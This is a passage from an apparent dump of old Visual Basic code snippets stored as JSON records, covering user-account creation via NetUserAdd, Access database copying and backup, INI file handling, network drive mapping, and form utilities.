.ptrPassword = lPWDPtr\n .dwPasswordAge = 3\n .dwPriv = USER_PRIV_USER\n .ptrHomeDir = lHomeDirPtr\n .ptrComment = lCommentPtr\n .dwFlags = UF_NORMAL_ACCOUNT Or UF_SCRIPT\n .ptrScriptHomeDir = lScriptFilePtr\n End With\n \n ' Create the new user\n lResult = NetUserAdd1(bSNArray(0), 1, UserStruct, lParmError)\n DomainCreateUser = lResult\n If lResult <> 0 Then\n Call NetErrorHandler(lResult, \" when creating new user \" & sUName)\n End If\n \n ' Release buffers from memory\n lResult = NetAPIBufferFree(lUNPtr)\n lResult = NetAPIBufferFree(lPWDPtr)\n lResult = NetAPIBufferFree(lHomeDirPtr)\n lResult = NetAPIBufferFree(lCommentPtr)\n lResult = NetAPIBufferFree(lScriptFilePtr)\nEnd Function\nPublic Function DomainDestroyUser(ByVal sSName As String, ByVal sUName As String)\n'Destroy an existing user with user id sUName\n'from current PDC with sSName\n Dim lResult As Long\n Dim lParmError As Long\n \n Dim bSNArray() As Byte\n Dim bUNArray() As Byte\n \n ' Move to byte arrays\n bSNArray = sSName & vbNullChar\n bUNArray = sUName & vbNullChar\n \n lResult = NetUserDel(bSNArray(0), bUNArray(0))\n If lResult = 0 Then\n DomainDestroyUser = True\n Else\n Call NetErrorHandler(lResult, \"delete user '\" & sUName & \"' from server '\" & \nsSName & \"'.\")\n DomainDestroyUser = False\n End If\n \nEnd Function\n"},{"WorldId":1,"id":534,"LineNumber":1,"line":"Function Member(ary$(), text$)\n On Local Error GoTo MemberExit\n For i = 1 To UBound(ary$)\n If text$ = ary$(i) Then\n subscript = i\n Exit For\n End If\n Next\nMemberExit:\n Member = subscript \nEnd Function\n;========================================\nanother possibility;\nFunction ArrayElements(ary$())\n elements = 0 \n On Local Error GoTo MemberExit\n elements = UBound(ary$)\nMemberExit:\n ArrayElements = elements\nEnd Function\n"},{"WorldId":1,"id":540,"LineNumber":1,"line":"Private Sub Form_Load()\n \n Dim dbFrom As Database\n Dim dbTo As Database\n \n Set dbFrom = workspaces(0).opendatabase(\"c:\\vb4\\biblio.mdb\")\n Set dbTo = workspaces(0).opendatabase(\"c:\\vb4\\biblio.mdb\")\n \n db_Copy_Tabledef dbFrom, dbTo, \"Authors\", \"CopyOfAuthors\"\n \n dbFrom.Close\n dbTo.Close\n \nEnd Sub\nPublic Function db_Copy_Tabledef(dbFrom As Database, dbTo As Database,\nTableNameFrom As String, TableNameTo As String) As Boolean\n \n Dim tdFrom As TableDef\n Dim tdTo As TableDef\n Dim fldFrom As Field\n Dim fldTo As Field\n Dim ndxFrom As Index\n Dim ndxTo As Index\n Dim FunctionName As String\n Dim Found As Boolean\n \n On Error Resume Next\n \n For Each tdFrom In dbFrom.TableDefs\n \n '-----------------------------\n 'Loop until find the table def\n '-----------------------------\n If LCase$(tdFrom.Name) = LCase$(TableNameFrom) Then\n \n Found = True\n \n '----------------------\n 'Create Table defintion\n '----------------------\n Set tdTo = dbTo.CreateTableDef(TableNameTo)\n \n '------------------------------\n 'Copy each field and attributes\n '------------------------------\n For Each fldFrom In dbFrom.TableDefs(tdFrom.Name).Fields\n Set fldTo = tdTo.CreateField(fldFrom.Name)\n \n fldTo.Type = fldFrom.Type\n fldTo.DefaultValue = fldFrom.DefaultValue\n fldTo.Required = fldFrom.Required\n Select Case fldFrom.Type\n Case dbText\n fldTo.Size = fldFrom.Size\n fldTo.Attributes = fldFrom.Attributes\n fldTo.AllowZeroLength = fldTo.AllowZeroLength\n Case dbMemo\n fldTo.AllowZeroLength = fldTo.AllowZeroLength\n Case Else\n End Select\n \n tdTo.Fields.Append fldTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding field to table \" & TableNameTo &\n\".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n '-----------------------\n 'Copy Index defintion(s)\n '-----------------------\n For Each ndxFrom In dbFrom.TableDefs(tdFrom.Name).Indexes\n Set ndxTo = tdTo.CreateIndex(ndxFrom.Name)\n \n ndxTo.Required = ndxFrom.Required\n ndxTo.IgnoreNulls = ndxFrom.IgnoreNulls\n ndxTo.Primary = ndxFrom.Primary\n ndxTo.Clustered = ndxFrom.Clustered\n ndxTo.Unique = ndxFrom.Unique\n \n '---------------------\n 'Copy each index field\n '---------------------\n For Each fldFrom In\ndbFrom.TableDefs(tdFrom.Name).Indexes(ndxFrom.Name).Fields\n Set fldTo = ndxTo.CreateField(fldFrom.Name)\n ndxTo.Fields.Append fldTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding field to index in table \" &\nTableNameTo & \".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n tdTo.Indexes.Append ndxTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding index to table \" & TableNameTo &\n\".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n dbTo.TableDefs.Append tdTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding table \" & TableNameTo & \".\", vbCritical,\nFunctionName\n Exit Function\n End If\n \n Exit For\n End If\n Next\n If Found Then\n db_Copy_Tabledef = True\n Else\n MsgBox \"Table \" & TableNameFrom & \" not found.\", vbExclamation,\nFunctionName\n End If\n \n On Error GoTo 0\nEnd Function\n"},{"WorldId":1,"id":557,"LineNumber":1,"line":"Function BackupDataBase (filename$) As Integer\n'**********************************************************************************\n'* PROCEDURE: BackupDataBase\n'* ARGS: filename$ -- name of new DataBase, defaults to current Dir\n'* RETURNS: TRUE/FALSE\n'* CREATED: 7/95\n'* REVISED: 8/2/95 GDK Changed to use the App's dir.\n'* Comments Creates newDataBase, and exports ALL existing tables in the\n'* Current database to it.\n'* ToDo: Backup current backup before writing over it. (part of backup\n'* archive system)\n'* Add new backup logging stuff to this function.(Date, location, etc.)\n'**********************************************************************************\nOn Error GoTo BackupDataBase_Err\n Dim newDB As Database, oldDB As Database, oldTable As TableDef\n Dim tempname As String, path As String, intIndex As Integer, numTables As Integer\n Dim intIndex2 As Integer, errorFlag As Integer\n 'backup defaults to current directory,...\n path = GetApplicationDir() & filename$\n 'replace above line with this one to pass a full path to this function\n 'path = filename$\n \n 'If database already exists, delete it.\n If MB_FileExists(path) Then\n Kill path\n End If\n \n 'create new file\n Set newDB = DBEngine.workspaces(0).CreateDatabase(path, DB_LANG_GENERAL)\n newDB.Close\n \n Set oldDB = DBEngine(0)(0)\n \n 'Get number of tables and their names\n numTables = oldDB.tabledefs.count - 1\n \n 'Actually export all the tables in the list.\n For intIndex = 0 To numTables\n tempname = oldDB.tabledefs(intIndex).name\n If ValidTableFilter(tempname) Then\n DoCmd TransferDatabase A_EXPORT, \"Microsoft Access\", path, A_TABLE, tempname, tempname\n End If\n Next intIndex\n \n BackupDataBase = True\nBackupDataBase_Exit:\n If errorFlag Then\n BackupDataBase = False\n \n 'if we errored out, then destroy the backup, (less risk of using incorrect file).\n If MB_FileExists(path) Then\n Kill path\n End If\n Else\n BackupDataBase = True\n End If\n Exit Function\nBackupDataBase_Err:\n MsgBox \"Backup Failed! Error: \" & Error$, 16, \"FUNCTION: BackupDataBase( \" & filename$ & \" )\"\n errorFlag = True\n Resume BackupDataBase_Exit\nEnd Function\nFunction GetApplicationDir () As String\n'***************************************************************************\n'* PROCEDURE: GetApplicationDir\n'* ARGS: NONE\n'* RETURNS: App's dir\n'* CREATED: 8/2/95 GDK\n'* REVISED:\n'* Comments Retrieves App's directory, (actually the current MDB's dir.)\n'***************************************************************************\n Dim d As Database, path As String, i%\n Set d = DBEngine(0)(0)\n path = d.name\n d.Close\n For i% = Len(path) To 0 Step -1\n If Mid$(path, i%, 1) = \"\\\" Then\n path = Left$(path, i%)\n Exit For\n End If\n Next i%\n GetApplicationDir = path\nEnd Function\n'*************************************************************\n'* FUNCTION: MB_FileExists\n'* ARGUMENTS: strFilename -- name of file to look for\n'* RETURNS: TRUE/FALSE -- TRUE = File Exists\n'* CREATED: 8/95 GDK Initial Code\n'* CHANGED: N/A\n'*************************************************************\nFunction MB_FileExists (strFileName As String) As Integer\n'\n'Check to see if file strFileName exists\n'\n If Len(Dir$(strFileName)) Then\n MB_FileExists = True\n End If\n \nEnd Function\n'***************************************************************\n'* FUNCTION: ValidTableFilter\n'* ARGUMENTS: tablename$ -- table to OK for export\n'* RETURNS: TRUE/FALSE -- TRUE = OK to export\n'* PURPOSE: Screen out invalid tables by testing them here.\n'* CREATED: 2/97 GDK Initial code\n'* CHANGES: N/A\n'***************************************************************\nFunction ValidTableFilter (tablename$) As Integer\nOn Error GoTo ValidTableFilter_Error:\n If Left$(tablename$, 4) = \"MSys\" Then\n Exit Function\n End If\n If tablename$ = \"\" Then\n Exit Function\n End If\n\n 'Add test functions above this line.\n ValidTableFilter = True\nValidTableFilter_Exit:\n Exit Function\nValidTableFilter_Error:\n MsgBox Error, 16, \"FUNCTION: ValidTableFilter( \" & tablename$ & \")\"\n Resume ValidTableFilter_Exit\nEnd Function\n"},{"WorldId":1,"id":558,"LineNumber":1,"line":"Public Function DecToBin(ByVal DecNumber As Currency) As String\n \nOn Error GoTo DecToBin_Finally\nDim BinNumber As String\nDim i%\n \n For i = 64 To 0 Step -1\n If Int(DecNumber / (2 ^ i)) = 1 Then\n BinNumber = BinNumber & \"1\"\n DecNumber = DecNumber - (2 ^ i)\n Else\n If BinNumber <> \"\" Then\n BinNumber = BinNumber & \"0\"\n End If\n End If\n Next\n \n DecToBin = BinNumber\n \nDecToBin_Finally:\n \n If Err <> 0 Or BinNumber = \"\" Then DecToBin = \"-E-\"\n Exit Function\n \nEnd Function\n"},{"WorldId":1,"id":568,"LineNumber":1,"line":"Function EndOfMonth (D As Variant) As Variant\n EndOfMonth = DateSerial(Year(D), Month(D) + 1, 0)\nEnd Function"},{"WorldId":1,"id":583,"LineNumber":1,"line":"Function GetUNCPath(DriveLetter As String, DrivePath, ErrorMsg As\nString) As Long\nOn Local Error GoTo GetUNCPath_Err\nDim status As Long\nDim lpszLocalName As String\nDim lpszRemoteName As String\nDim cbRemoteName As Long\nlpszLocalName = DriveLetter\nIf Right$(lpszLocalName, 1) <> Chr$(0) Then lpszLocalName =\nlpszLocalName & Chr$(0)\nlpszRemoteName = String$(255, Chr$(32))\ncbRemoteName = Len(lpszRemoteName)\nstatus = WNetGetConnection(lpszLocalName, _\n lpszRemoteName, _\n cbRemoteName)\n \nGetUNCPath = status\nSelect Case status\n Case WN_SUCCESS\n ' all is successful...\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"This function is not supported\"\n Case WN_OUT_OF_MEMORY\n ErrorMsg = \"The System is Out of Memory.\"\n Case WN_NET_ERROR\n ErrorMsg = \"An error occurred on the network\"\n Case WN_BAD_POINTER\n ErrorMsg = \"The network path is invalid\"\n Case WN_BAD_VALUE\n ErrorMsg = \"Invalid local device name\"\n Case WN_NOT_CONNECTED\n ErrorMsg = \"The drive is not connected\"\n Case WN_MORE_DATA\n ErrorMsg = \"The buffer was too small to return the fileservice\nname\"\n Case Else\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nIf Len(ErrorMsg) Then\n DrivePath = \"\"\nElse\n ' Trim it, and remove any nulls\n DrivePath = StripNulls(lpszRemoteName)\nEnd If\nGetUNCPath_End:\n Exit Function\nGetUNCPath_Err:\n MsgBox Err.Description, vbInformation\n Resume GetUNCPath_End\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' GetUserName routine\n'---------------------------------------------------------------------------------------------------\nFunction sGetUserName() As String\n Dim lpBuffer As String * 255\n Dim lRet As Long\n lRet = GetUserName(lpBuffer, 255)\n sGetUserName = StripNulls(lpBuffer)\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' StripNulls routine\n'---------------------------------------------------------------------------------------------------\nPrivate Function StripNulls(s As String) As String\n'Truncates string at first null character, any text after first null\nis lost\nDim I As Integer\n StripNulls = s\n If Len(s) Then\n I = InStr(s, Chr$(0))\n If I Then StripNulls = Left$(s, I - 1)\n End If\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' MapNetworkDrive routine\n'---------------------------------------------------------------------------------------------------\nFunction MapNetworkDrive(UNCname As String, _\n Password As String, _\n DriveLetter As String, _\n ErrorMsg As String) As Long\n \nDim status As Long\nDim tUNCname As String, tPassword As String, tDriveLetter As String\nOn Local Error GoTo MapNetworkDrive_Err\n \ntUNCname = UNCname\ntPassword = Password\ntDriveLetter = DriveLetter\nIf Right$(tUNCname, 1) <> Chr$(0) Then tUNCname = tUNCname & Chr$(0)\nIf Right$(tPassword, 1) <> Chr$(0) Then tPassword = tPassword &\nChr$(0)\nIf Right$(tDriveLetter, 1) <> Chr$(0) Then tDriveLetter = tDriveLetter\n& Chr$(0)\nstatus = WNetAddConnection(tUNCname, tPassword, tDriveLetter)\nSelect Case status\n Case WN_SUCCESS\n ErrorMsg = \"\"\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"Function is not supported.\"\n Case WN_OUT_OF_MEMORY:\n ErrorMsg = \"The system is out of memory.\"\n Case WN_NET_ERROR\n ErrorMsg = \"An error occurred on the network.\"\n Case WN_BAD_POINTER\n ErrorMsg = \"The network path is invalid.\"\n Case WN_BAD_NETNAME\n ErrorMsg = \"Invalid network resource name.\"\n Case WN_BAD_PASSWORD\n ErrorMsg = \"The password is invalid.\"\n Case WN_BAD_LOCALNAME\n ErrorMsg = \"The local device name is invalid.\"\n Case WN_ACCESS_DENIED\n ErrorMsg = \"A security violation occurred.\"\n Case WN_ALREADY_CONNECTED\n ErrorMsg = \"This drive letter is already connected to a\nnetwork drive.\"\n Case Else\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nMapNetworkDrive = status\nMapNetworkDrive_End:\n Exit Function\nMapNetworkDrive_Err:\n MsgBox Err.Description, vbInformation\n Resume MapNetworkDrive_End\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' DisconnectNetworkDrive routine\n'---------------------------------------------------------------------------------------------------\nFunction DisconnectNetworkDrive(DriveLetter As String, _\n ForceFileClose As Long, _\n ErrorMsg As String) As Long\n \nDim status As Long\nDim tDriveLetter As String\nOn Local Error GoTo DisconnectNetworkDrive_Err\n \ntDriveLetter = DriveLetter\nIf Right$(tDriveLetter, 1) <> Chr$(0) Then tDriveLetter = tDriveLetter\n& Chr$(0)\nstatus = WNetCancelConnection(tDriveLetter, ForceFileClose)\nSelect Case status\n Case WN_SUCCESS\n ErrorMsg = \"\"\n Case WN_BAD_POINTER:\n ErrorMsg = \"The network path is invalid.\"\n Case WN_BAD_VALUE\n ErrorMsg = \"Invalid local device name\"\n Case WN_NET_ERROR:\n ErrorMsg = \"An error occurred on the network.\"\n Case WN_NOT_CONNECTED\n ErrorMsg = \"The drive is not connected\"\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"This function is not supported\"\n Case WN_OPEN_FILES\n ErrorMsg = \"Files are in use on this service. Drive was not\ndisconnected.\"\n Case WN_OUT_OF_MEMORY:\n ErrorMsg = \"The System is Out of Memory\"\n Case Else:\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nDisconnectNetworkDrive = status\nDisconnectNetworkDrive_End:\n Exit Function\nDisconnectNetworkDrive_Err:\n MsgBox Err.Description, vbInformation\n Resume DisconnectNetworkDrive_End\nEnd Function\n"},{"WorldId":1,"id":584,"LineNumber":1,"line":"\nFunction mfncGetFromIni (strSectionHeader As String, strVariableName As\nString, strFileName As String) As String\n \n '*** DESCRIPTION: Reads from an *.INI file strFileName (full path &\nfile name)\n '*** RETURNS: The string stored in [strSectionHeader], line\nbeginning strVariableName=\n '*** NOTE: Requires declaration of API call\nGetPrivateProfileString\n 'Initialise variable\n Dim strReturn As String\n \n 'Blank the return string\n strReturn = String(255, Chr(0))\n 'Get requested information, trimming the returned string\n mfncGetFromIni = Left$(strReturn,\nGetPrivateProfileString(strSectionHeader, ByVal strVariableName, \"\",\nstrReturn, Len(strReturn), strFileName))\nEnd Function\nFunction mfncParseString (strIn As String, intOffset As Integer,\nstrDelimiter As String) As String\n '*** DESCRIPTION: Parses the passed string, returning the value\nindicated\n '*** by the offset specified, eg: the string \"Hello,\nWorld\",\n '*** offset 2 = \"World\".\n '*** RETURNS: See description.\n '*** NOTE: The offset starts at 1 and the delimiter is the\ncharacter\n '*** which separates the elements of the string.\n 'Trap any bad calls\n If Len(strIn) = 0 Or intOffset = 0 Then\n mfncParseString = \"\"\n Exit Function\n End If\n 'Declare local variables\n Dim intStartPos As Integer\n ReDim intDelimPos(10) As Integer\n Dim intStrLen As Integer\n Dim intNoOfDelims As Integer\n Dim intCount As Integer\n Dim strQuotationMarks As String\n Dim intInsideQuotationMarks As Integer\n strQuotationMarks = Chr(34) & Chr(147) & Chr(148)\n intInsideQuotationMarks = False\n For intCount = 1 To Len(strIn)\n 'If character is a double-quote then toggle the In Quotation flag\n If InStr(strQuotationMarks, Mid$(strIn, intCount, 1)) <> 0 Then\n intInsideQuotationMarks = (Not intInsideQuotationMarks)\n End If\n If (Not intInsideQuotationMarks) And (Mid$(strIn, intCount, 1) =\nstrDelimiter) Then\n intNoOfDelims = intNoOfDelims + 1\n 'If array filled then enlarge it, keeping existing contents\n If (intNoOfDelims Mod 10) = 0 Then\n ReDim Preserve intDelimPos(intNoOfDelims + 10)\n End If\n intDelimPos(intNoOfDelims) = intCount\n End If\n Next intCount\n 'Handle request for value not present (over-run)\n If intOffset > (intNoOfDelims + 1) Then\n mfncParseString = \"\"\n Exit Function\n End If\n 'Handle boundaries of string\n If intOffset = 1 Then\n intStartPos = 1\n End If\n 'Requesting last value - handle null\n If intOffset = (intNoOfDelims + 1) Then\n If Right$(strIn, 1) = strDelimiter Then\n intStartPos = -1\n intStrLen = -1\n mfncParseString = \"\"\n Exit Function\n Else\n intStrLen = Len(strIn) - intDelimPos(intOffset - 1)\n End If\n End If\n 'Set start and length variables if not handled by boundary check above\n If intStartPos = 0 Then\n intStartPos = intDelimPos(intOffset - 1) + 1\n End If\n If intStrLen = 0 Then\n intStrLen = intDelimPos(intOffset) - intStartPos\n End If\n 'Set the return string\n mfncParseString = Mid$(strIn, intStartPos, intStrLen)\n \nEnd Function\nFunction mfncWriteIni (strSectionHeader As String, strVariableName As\nString, strValue As String, strFileName As String) As Integer\n '*** DESCRIPTION: Writes to an *.INI file called strFileName (full\npath & file name)\n '*** RETURNS: Integer indicating failure (0) or success (other)\nto write\n '*** NOTE: Requires declaration of API call\nWritePrivateProfileString\n 'Call the API\n mfncWriteIni = WritePrivateProfileString(strSectionHeader,\nstrVariableName, strValue, strFileName)\nEnd Function"},{"WorldId":1,"id":601,"LineNumber":1,"line":"Function CreateNewUser% (ByVal username$, ByVal password$, ByVal PID$)\n '- create a new user.\n '- username$ - name\n '- password$ - user password\n '- PID$ - PID of user\n '-----------------------------------\n Dim NewUser As User\n Dim admin_ws As WorkSpace\n '=====================================\n '- check PID\n If (Len(PID$) < 4 Or Len(PID$) > 20) Then\n MsgBox \"Invalid PID\", SHOWICON_STOP\n CreateNewUser% = True\n Exit Function\n End If\n '- verify that user does not yet exist\n If (UserExist%(username$)) Then\n CreateNewUser% = True\n Exit Function\n End If\n '- open new workspace and database as admin\n dbEngine.Workspaces.Refresh\n Set admin_ws = dbEngine.CreateWorkspace(\"TempWorkSpace\",\n ADMIN_USER, ADMIN_PASSWORD)\n If (Err) Then\n '- failed opening workspace\n MsgBox \"invalid administrator password\", SHOWICON_STOP\n MsgBox \"Error: \" & Error$, SHOWICON_STOP, SystemName\n CreateNewUser% = True\n Exit Function\n End If\n \n On Error Resume Next\n '- create the new user\n Set NewUser = admin_ws.CreateUser(username$, PID$, password$)\n If (Err) Then\n MsgBox \"Can't create new user.\", SHOWICON_STOP\n MsgBox Error$, SHOWICON_STOP\n GoTo CreateNewUser_end\n End If\n '- add user to user list\n admin_ws.Users.Append NewUser\n '- add user to \"Users\" group\n Set NewUser = admin_ws.CreateUser(username$)\n admin_ws.Groups(\"Users\").Users.Append NewUser\n admin_ws.Users(username$).Groups.Refresh\n admin_ws.Close\n CreateNewUser% = False\nCreateNewUser_end:\n On Error GoTo 0\nEnd Function\n"},{"WorldId":1,"id":608,"LineNumber":1,"line":"Option Explicit\n' *************************************************************************************\n' Description:\n' A complete class for access to Ini Files. Works in\n' VB4 16 and 32 and VB5.\n'\n' Sample code: find out whether we are running the Windows\n' 95 shell or not:\n'\n' dim cIni as new cIniFile\n' with cIni\n' .Path = \"C:\\WINDOWS\\SYSTEM.INI\" ' Use GetWindowsDir() call to find the correct dir\n' .Section = \"boot\"\n' .Key = \"shell\"\n' if (ucase$(trim$(.Value)) = \"EXPLORER.EXE\") then\n' msgbox \"Da Shell is here\",vbInformation\n' else\n' msgbox \"Da Computer is too old..\",vbExclamation\n' endif\n' end with\n'\n' FileName: cIniFile.Cls\n' Author: Steve McMahon (Steve-McMahon@pa-consulting.com)\n' Date: 30 June 1997\n' *************************************************************************************\n\n' Private variables to store the settings made:\nPrivate m_sPath As String\nPrivate m_sKey As String\nPrivate m_sSection As String\nPrivate m_sDefault As String\nPrivate m_lLastReturnCode As Long\n' Declares for cIniFile:\n#If Win32 Then\n ' Profile String functions:\n Private Declare Function WritePrivateProfileString Lib \"KERNEL32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As String, ByVal lpFileName As String) As Long\n Private Declare Function GetPrivateProfileString Lib \"KERNEL32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As Any, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\n#Else\n ' Profile String functions:\n ' If you are developing in VB5, delete this section\n ' otherwise SetupKit gets **confused**!\n Private Declare Function WritePrivateProfileString Lib \"Kernel\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Integer\n Private Declare Function GetPrivateProfileString Lib \"Kernel\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As Any, ByVal lpReturnedString As String, ByVal nSize As Integer, ByVal lpFileName As String) As Integer\n#End If\nProperty Get LastReturnCode() As Long\n ' Did the last call succeed?\n ' 0 if not!\n LastReturnCode = m_lLastReturnCode\nEnd Property\nProperty Let Default(sDefault As String)\n ' What to return if something goes wrong:\n m_sDefault = sDefault\nEnd Property\nProperty Get Default() As String\n ' What to return if something goes wrong:\n Default = m_sDefault\nEnd Property\nProperty Let Path(sPath As String)\n ' The filename of the INI file:\n m_sPath = sPath\nEnd Property\nProperty Get Path() As String\n ' The filename of the INI file:\n Path = m_sPath\nEnd Property\nProperty Let Key(sKey As String)\n ' The KEY= bit to look for\n m_sKey = sKey\nEnd Property\nProperty Get Key() As String\n ' The KEY= bit to look for\n Key = m_sKey\nEnd Property\nProperty Let Section(sSection As String)\n ' The [SECTION] bit to look for\n m_sSection = sSection\nEnd Property\nProperty Get Section() As String\n ' The [SECTION] bit to look for\n Section = m_sSection\nEnd Property\nProperty Get Value() As String\n ' Get the value of the current Key within Section of Path\nDim sBuf As String\nDim iSize As String\nDim iRetCode As Integer\n sBuf = Space$(255)\n iSize = Len(sBuf)\n iRetCode = GetPrivateProfileString(m_sSection, m_sKey, m_sDefault, sBuf, iSize, m_sPath)\n If (iSize > 0) Then\n Value = Left$(sBuf, iRetCode)\n Else\n Value = \"\"\n End If\nEnd Property\nProperty Let Value(sValue As String)\n ' Set the value of the current Key within Section of Path\nDim iPos As Integer\n ' Strip chr$(0):\n iPos = InStr(sValue, Chr$(0))\n Do While iPos <> 0\n sValue = Left$(sValue, (iPos - 1)) & Mid$(sValue, (iPos + 1))\n iPos = InStr(sValue, Chr$(0))\n Loop\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, m_sKey, sValue, m_sPath)\nEnd Property\nPublic Sub DeleteValue()\n ' Delete the value at Key within Section of Path\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, m_sKey, 0&, m_sPath)\nEnd Sub\nPublic Sub DeleteSection()\n ' Delete the Section in Path\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, 0&, 0&, m_sPath)\nEnd Sub\nProperty Get INISection() As String\n ' Return all the keys and values within the current\n ' section, separated by chr$(0):\nDim sBuf As String\nDim iSize As String\nDim iRetCode As Integer\n sBuf = Space$(255)\n iSize = Len(sBuf)\n iRetCode = GetPrivateProfileString(m_sSection, 0&, m_sDefault, sBuf, iSize, m_sPath)\n If (iSize > 0) Then\n INISection = Left$(sBuf, iRetCode)\n Else\n INISection = \"\"\n End If\nEnd Property\nProperty Let INISection(sSection As String)\n ' Set one or more the keys within the current section.\n ' Keys and Values should be separated by chr$(0):\n m_lLastReturnCode = WritePrivateProfileString(m_sSection, 0&, sSection, m_sPath)\nEnd Property\n"},{"WorldId":1,"id":639,"LineNumber":1,"line":"At runtime, set the focus to the control in question. Then, click the Break button on the VB toolbar, type\n┬á┬á┬á?Screen.ActiveControl.Name\nin the debug window, and press [Enter]. Voila! VB displays the control name in the debug window-and you didn't have to stop the program."},{"WorldId":1,"id":644,"LineNumber":1,"line":"\nDim PControl As Object\nDim MyControl As Control\nDim AControl As Object\n'Get my UserControl\nFor Each AControl In ParentControls\n┬á┬áIf AControl.Name = Ambient.DisplayName Then\n┬á┬á┬á┬áSet MyControl = AControl\n┬á┬á┬á┬áExit For\n┬á┬áEnd If\nNext\n'Get the Form UserControl is on\nSet PControl = ParentControls.Item(1).Parent\nWhile Not (TypeOf PControl Is Form) ┬á┬áSet PControl = PControl.Parent\nWend"},{"WorldId":1,"id":650,"LineNumber":1,"line":"Make a form with a textbox (text1) and a listbox (list1). Fill the listbox with some items... \nMake a label (label1). Set it invisible = False\nPut the next code at the appropiate places:\nSub List1_MouseDown (Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim DY\n DY = TextHeight(\"A\")\n Label1.Move list1.Left, list1.Top + Y - DY / 2, list1.Width, DY\n Label1.Drag\nEnd Sub\nSub List1_DragOver (Source As Control, X As Single, Y As Single, State As Integer)\n If State = 0 Then Source.MousePointer = 12\n If State = 1 Then Source.MousePointer = 0\nEnd Sub\nSub Form_DragOver (Source As Control, X As Single, Y As Single, State As Integer)\n If State = 0 Then Source.MousePointer = 12\n If State = 1 Then Source.MousePointer = 0\nEnd Sub\nSub Text1_DragDrop (Index As Integer, Source As Control, X As Single, Y As Single)\n text1.text = list1\n \nEnd Sub"},{"WorldId":1,"id":658,"LineNumber":1,"line":"'make a new form; put some textboxen on it with some text in it\n'make a commandbutton\n'put the next code under the Command_Click event\n \tDim Control\n \tFor Each Control In Form1.Controls\n \tIf TypeOf Control Is TextBox Then Control.Text = \"\"\n \tNext Control"},{"WorldId":1,"id":671,"LineNumber":1,"line":"'1: choose printer\nPublic Sub ChoosePrinter\n Const ErrCancel = 32755\n CommonDialog1.CancelError = True\nOn Error GoTo errorPrinter\n CommonDialog1.Flags = 64\n 'see the Help on Flags Properties (Print Dialog)\n CommonDialog1.ShowPrinter\n CommonDialog1.PrinterDefault = False\n Exit Sub\nerrorPrinter:\n If Err = ErrCancel Then Exit Sub Else Resume\nEnd Sub\n'2: choose font\nGlobal vScreenFont, vScreenFontSize\nPublic Sub ChooseFont()\n CommonDialog1.Flags = cdlCFScreenFonts\n 'see the Help on Flags Properties (Font Dialog)\n CommonDialog1.ShowFont\n \n vScreenFont = CommonDialog1.FontName\n vScreenFontSize = CommonDialog1.FontSize\n Call ChangeFont(Form1)\n \nEnd Sub\nPublic Sub ChangeFont(X As Form)\n Dim Control\n \n For Each Control In X.Controls\n If TypeOf Control Is Label Or _\n TypeOf Control Is TextBox Or _\n TypeOf Control Is CommandButton Or _\n TypeOf Control Is ComboBox Or _\n TypeOf Control Is ListBox Or _\n TypeOf Control Is CheckBox Then\n \n Control.Font = vScreenFont\n Control.FontSize = vScreenFontSize\n End If\n Next Control\n \nEnd Sub\n'3: choose color\nGlobal vColor\nPublic Sub ChooseColor\n CommonDialog1.Flags = &H1& Or &H4&\n 'see the Help on Flags Properties (Color Dialog)\n CommonDialog1.ShowColor\n vColor = CommonDialog1.Color\n' if you want to convert the color to hex use \n' MsgBox Convert2Hex(vColor)\n' if you want to repaint youre background use\n' Call ChangeColor(X as Form)\nEnd Sub\nPublic Sub ChangeColor(X As Form)\n Dim Control\n X.BackColor = vColor \n For Each Control In X.Controls\n If TypeOf Control Is Label Or _\n TypeOf Control Is TextBox Or _\n TypeOf Control Is CommandButton Or _\n TypeOf Control Is ComboBox Or _\n TypeOf Control Is ListBox Or _\n TypeOf Control Is CheckBox Then\n \n Control.BackColor = vColor\n End If\n Next Control\nEnd Sub\nPublic Function Convert2Hex(color) as String\n\tDim RedValue, GreenValue, BlueValue\n RedValue = (color And &HFF&)\n GreenValue = (color And &HFF00&) \\ 256\n BlueValue = (color And &HFF0000) \\ 65536\n Convert2Hex = Format(Hex(RedValue) & Hex(GreenValue) & Hex(BlueValue), \"000000\")\nEnd Function"},{"WorldId":1,"id":675,"LineNumber":1,"line":"'make a new project: one form with a commandcontrol\n'insert the code on the right places\n'make the nessecary changes concerning your application and extension\n'look for the * sign!\n' Return codes from Registration functions.\nPublic Const ERROR_SUCCESS = 0&\nPublic Const ERROR_BADDB = 1&\nPublic Const ERROR_BADKEY = 2&\nPublic Const ERROR_CANTOPEN = 3&\nPublic Const ERROR_CANTREAD = 4&\nPublic Const ERROR_CANTWRITE = 5&\nPublic Const ERROR_OUTOFMEMORY = 6&\nPublic Const ERROR_INVALID_PARAMETER = 7&\nPublic Const ERROR_ACCESS_DENIED = 8&\nGlobal Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const MAX_PATH = 256&\nPublic Const REG_SZ = 1\n\nPrivate Sub Command1_Click()\n Dim sKeyName As String 'Holds Key Name in 